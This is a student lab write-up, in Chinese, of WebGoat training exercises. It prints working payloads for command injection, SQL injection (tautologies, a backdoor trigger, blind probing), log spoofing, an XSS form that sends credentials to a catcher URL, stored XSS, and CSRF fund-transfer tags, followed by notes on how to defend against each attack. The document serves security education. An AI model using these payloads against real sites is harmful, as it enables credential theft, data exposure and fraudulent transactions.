一、实践内容
1、WebGoat安装
2、SQL注入攻击
·命令注入(Command Injection)
·数字型注入(Numeric SQL Injection)
·日志欺骗(Log Spoofing)
·SQL 注入(LAB: SQL Injection)
·字符串注入(String SQL Injection)
·数据库后门(Database Backdoors)
·数字型盲注入(Blind Numeric SQL Injection)
·字符串型盲注入(Blind String SQL Injection)
3、XSS攻击
·XSS 钓鱼(Phishing with XSS)
·存储型XSS攻击(Stored XSS Attacks)
·反射型XSS攻击(Reflected XSS Attacks)
4、CSRF攻击
·跨站请求伪造(Cross Site Request Forgery (CSRF))
·绕过 CSRF 确认( CSRF Prompt By‐Pass)
二、实践过程
1、WebGoat安装
WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,目前提供的训练课程有很多,包含了XSS、线程安全、SQL注入、访问控制、隐藏字段、Cookie等。参考网址
·WebGoat默认使用8080端口
,所以开启前先用指令 netstat -tupln | grep 8080 查看端口是否被占用
·如果被占用,用 kill 指令进程号
终止占用8080端口
的进程。
·普通安装,命令行输入 java -jar webgoat-container-7.0.1-war-exec.jar
·浏览器转:localhost:8080/WebGoat
用默认用户名密码登录即可。
·但是这个时候左侧栏是没有出现学习课程的,所以要下载安装配置一下gdk,参考这篇链接整一下(下图是安装配置前)
2、SQL注入攻击
(1)命令注入(Command Injection)
·概念:命令注入攻击对任何一个以参数驱动的站点来说都是一个严重威胁。这种攻击技术背后的技术方法,简单易学,能造成大范围的损害,危及系统安全。尽管这类风险数目令人难以置信,互联网中的系统很容易受到这种形式的攻击。
·右键点击页面,选择inspect Element
审查网页元素对源代码进行修改,在复选框中任意一栏的代码,右键单击后,选择Edit At Html
进行修改,添加 "& netstat -an & ipconfig" 最后点代码其他位置保存修改。
·点击view
,可以看到执行指令后的网络端口使用情况和IP地址。攻击成功!
(2)数字型注入(Numeric SQL Injection)
·概念:注入数字型数据(如:永真式)达到注入的效果。
·右键点击页面,选择inspect Element
审查网页元素对源代码进行修改,在选中的城市编号Value值
中添加 or 1=1
·显示所有城市的天气情况,攻击成功!
(3)日志欺骗(Log Spoofing)
·概念:通过在日志文件中插入脚本实现欺骗。
·前提:本题目接受用户输入的任何一个用户名,并将其追加到日志文件中。利用入回车(0D%)和换行符(%0A),在 username 中填入 ypc%0d%0aLogin Succeeded for username: admin
·攻击者可以利用这种方式向日志文件中添加恶意脚本,脚本的返回信息管理员能够通过浏览器看到。比如,将 admin <script>alert(document.cookie)</script> 作为用户名输入,可以看到弹窗的cookie信息。
(4)字符串注入(String SQL Injection)
·概念:通过注入字符串绕过认证
·正常情况下只能查询到用户名对应的信用卡号码,输入查询的用户名 Smith‘ or 1=1-- (Smith 和1=1都成了查询的条件,而1=1是恒等式,因此能查询到表里面的所有数据)
·得到所有用户的信用卡号码,攻击成功!
(5)数据库后门(Database Backdoors)
·输入 101 ,得到该用户的信息。我们可以看到,输入的语句没有验证,很容易进行 SQL 注入
·输入注入语句 101; update employee set salary=18000 执行两个语句
·输入 101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email=‘ypp@qq.com‘WHERE userid = NEW.userid
·BEFORE/AFTER
参数指定了触发执行的时间,在事件之前或是之后
·FOR EACH ROW
表示任何一条记录上的操作满足触发事件都会触发该触发器,也就是说触发器的触发频率是针对每一行数据
(6)字符串型盲注入(Blind String SQL Injection)
·与数字型盲注入类似,只是将注入的数字换为字符串而已
·例如:输入 101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number=‘4321432143214321‘), 1, 1) < ‘M‘ ); 取得 pin 字段数值的第一个字母,并判断其是否比字母“M”小,SUBSTRING 语法为 SUBSTRING(STRING,START,LENGTH)
·同样使用二分法进行测试,最后得到pin字段为Jill
3、XSS攻击
概念:跨站脚本攻击是通过HTML注入劫持用户的浏览器,任意构造用户当前浏览的HTML内容,可以模拟用户当前的操作。这里实验的是一种获取用户名和密码的攻击。
(1)XSS 钓鱼(Phishing with XSS)
·编写一段脚本读取被攻击者在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的 WebGoat,一个带用户名和密码输入框的表格如下:
·在XSS
-Phishing with XSS
搜索上面代码,可以看到页面中增加了一个表单
·现在我们需要一段脚本:
<script> function hack() { alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + ""; } </script>
·这段代码会读取我们在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的WebGoat。
·将上面两段代码合并搜索
<script> function hack() { alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+document.forms[0].user.value + "&password=" + document.forms[0].pass.value + ""; } </script> <form> <br><br><HR><H3>This feature requires account login:</H3 ><br><br> Enter Username:<br><input type="text" id="user" name="user"><br> Enter Password:<br><input type="password" name = "pass"><br> <input type="submit" name="login" value="login" onclick="hack()"> </form><br><br><HR>
(2)存储型XSS攻击(Stored XSS Attacks)
·在Message中构造语句 <script>alert("20175133 attack succeed!");</script> ,Title
任意输入。提交后可发现刚创建ypp-5133
·点击ypp-5133
,然后会弹出一个对话框,证明XSS攻击成功。
4、CSRF攻击
概念:跨站请求伪造,尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性.
(1)跨站请求伪造(Cross Site Request Forgery (CSRF))
·点击XSS
-Cross Site Request Forgery(CSRF)
·查看页面右下方Parameters
中的src
和menu
值,我的分别为322
和900
·在Message
框中输入
<img src="http://localhost:8080/WebGoat/attack?Screen=322&menu=900&transferFunds=5000" width="1" height="1" />
·以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件,点击Submit
提交(其中语句中的&transferFunds=5000
,即转走的受害人的金额;宽高设置成1像素的目的是隐藏该图片)
(2)绕过 CSRF 确认( CSRF Prompt By‐Pass)
·点击XSS
-CSRF Prompt By-Pass
·同上面的攻击,查看页面右下方的Parameters
中的src
和menu
值,并输入任意的Title,message框中输入代码
<iframe src="attack?Screen=321&menu=900&transferFunds=5000"> </iframe> <iframe src="attack?Screen=321&menu=900&transferFunds=CONFIRM"> </iframe>
·点击Submit
生成以Title命名的链接,点击链接,攻击成功
三、问题回答
1.SQL注入攻击原理,如何防御?
原理:
(1)SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
(2)sql注入攻击是利用是指利用设计上的漏洞,在目标服务器上运行Sql语句以及进行其他方式的攻击,动态生成Sql语句时没有对用户输入的数据进行验证是Sql注入攻击得逞的主要原因。如:在用户名、密码登输入框中输入一些‘,--,#等特殊字符,实现引号闭合、注释部分SQL语句,利用永真式实现登录、显示信息等目的。
防御:
(1)关闭或删除不必要的交互式提交表单页面;
(2)对漏洞注入点相关代码进行关键字的过滤(如:利用正则表达式),以规范代码安全性;
(3)不要在服务器端放置备份的文件以免受到感染,或备份的文件含有漏洞,造成切入点;
(4)将数据库里的内容进行加密处理使其不具有特殊的意义。
2.XSS攻击的原理,如何防御?
原理:
(1)XSS:跨站脚本。攻击者利用网站漏洞(通常这些漏洞是指网站后台处理程序没有很好的对用户输入进行过滤),输入可以显示在页面上的、对其他用户造成影响的HTML代码;由于受害者浏览器对目标服务器的信任,当其访问目标服务器上被注入恶意脚本(如:html标签或者javascript代码)的页面后,这段恶意脚本可以顺利执行,实现获取用户cookie并可以利用用户身份进行非法操作的目的。
防御:
(1)用户角度:提高防范意识,不要轻易输入个人信息,如用户名密码;
(2)网页制作者角度:
对输入和URL参数进行过滤
在输出数据之前对潜在的威胁的字符进行编码、转义
3.CSRF攻击原理,如何防御?
原理:
(1)CSRF :跨站请求伪造。
CSRF就是冒名登录。跨站请求伪造的核心本质是窃取用户的Session,或者说Cookie,因为目前主流情况Session都是存在Cookie中.攻击者并不关心被害者具体帐号和密码,因为一旦用户进行了登录,Session就是用户的唯一凭证,只要攻击者能够得到Session,就可以伪装成被害者进入服务器.
(2)主要是当访问网站A时输入用户名和密码,在通过验证后,网站A产生Cookie信息并返回,此时登录网站A成功,可正常发送请求到网站A。在未退出网站A前,若访问另一个网站B,网站B可返回一些攻击性代码并请求访问网站A;因此在网站B的请求下,向网站A发出请求。但网站A不知道该请求恶意的,因此还是会执行该恶意代码
防御:
(1)验证请求中的Token
(2)验证 Referer
(3)添加加随机验证
(4)设定cookie域
四、实践体会
通过对Webgoat的使用,主要学习了SQL注入攻击、XSS攻击和CSRF攻击。对于这三个方面的攻击,分为很多小模块的学习。在整个学习过程中,发现我们这次的实验攻击很多部分都是关于构造语句、更改语句进行的攻击,我觉得这个部分虽然现在实现很简单,但是通过学习的不断深入,如何能够将攻击高层次化,更加完整,是我们学习的目标。